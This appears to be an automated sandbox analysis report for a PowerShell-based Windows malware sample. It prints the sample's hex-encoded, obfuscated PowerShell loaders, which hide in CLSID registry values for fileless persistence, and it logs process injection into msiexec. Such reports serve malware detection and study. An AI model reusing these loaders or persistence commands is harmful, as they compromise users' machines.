6333734323034393645373435303734373232393243323832343741363633343245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234374136363334324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234364337373335324332343644363733303239323927297c2628247073686f6d655b3134352d3134315d2b247073686f6d655b3133382d3130345d2b277827297d powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0005000E-070A-0800-0A07-0C12020B0A0F}\LocalServer\ = "cmd /c start /min powershell -c \"& {(-join('246E6B77696C613D2730413046273B285B546578742E456E636F64696E675D3A3A555446382E476574537472696E67282867702027686B6C6D3A5C736F6674776172655C636C61737365735C434C5349445C7B30303035303030452D303730412D303830302D304130372D3043313230323042304130467D5C50726F67494427292E246E6B77696C6129297C2628247073686F6D655B345D2B247073686F6D655B33345D2B27782729'-split'(..)'|?{$_}|%{[char][convert]::ToUInt32($_,16)}))|&($pshome[224-220]+$pshome[18+12+4]+'x')}\"" powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0005000E-070A-0800-0A07-0C12020B0A0F}\VersionIndependentProgID\0005 = 4b527b2c6a3028594a5547413a263239483f71764c235a4f5b786633652b627e127222677d3558735e242d7969543c3e774549793575306432656c376a6d313961666372687170746276363378386b7369346e546450612758445574634c463a7b34723b792b593e396c304e2962782a376f572d25362c6e666a324d73244f7c48432822315e67495623414570764b69422638684a2e475333525b5121753c3f3d777a40607d5d5a5c7e2f6d356b71655f powershell.exe -
Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 504 powershell.exe 504 powershell.exe 504 powershell.exe 504 powershell.exe 1504 msiexec.exe 1504 msiexec.exe 456 powershell.exe 456 powershell.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 504 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 504 powershell.exe Token: SeDebugPrivilege 456 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 504 wrote to memory of 1504 504 powershell.exe 88 PID 504 wrote to memory of 1504 504 powershell.exe 88 PID 1504 wrote to memory of 456 1504 msiexec.exe 89 PID 1504 wrote to memory of 456 1504 msiexec.exe 89
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\1127.ps11⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:504 -
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe2⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1504 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "&{$v1='2674';$k1='hkcu:\Software\Classes\CLSID';$p1=(gp $k1).$v1;rp $k1 $v1;set-itemproperty -pat $k1 -n $v1 -va (($p1|iex)|out-string);exit}"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:456
-
-